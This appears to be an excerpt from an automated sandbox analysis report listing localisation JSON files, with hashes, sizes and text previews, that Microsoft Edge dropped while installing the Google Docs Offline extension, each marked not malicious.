SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\nn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
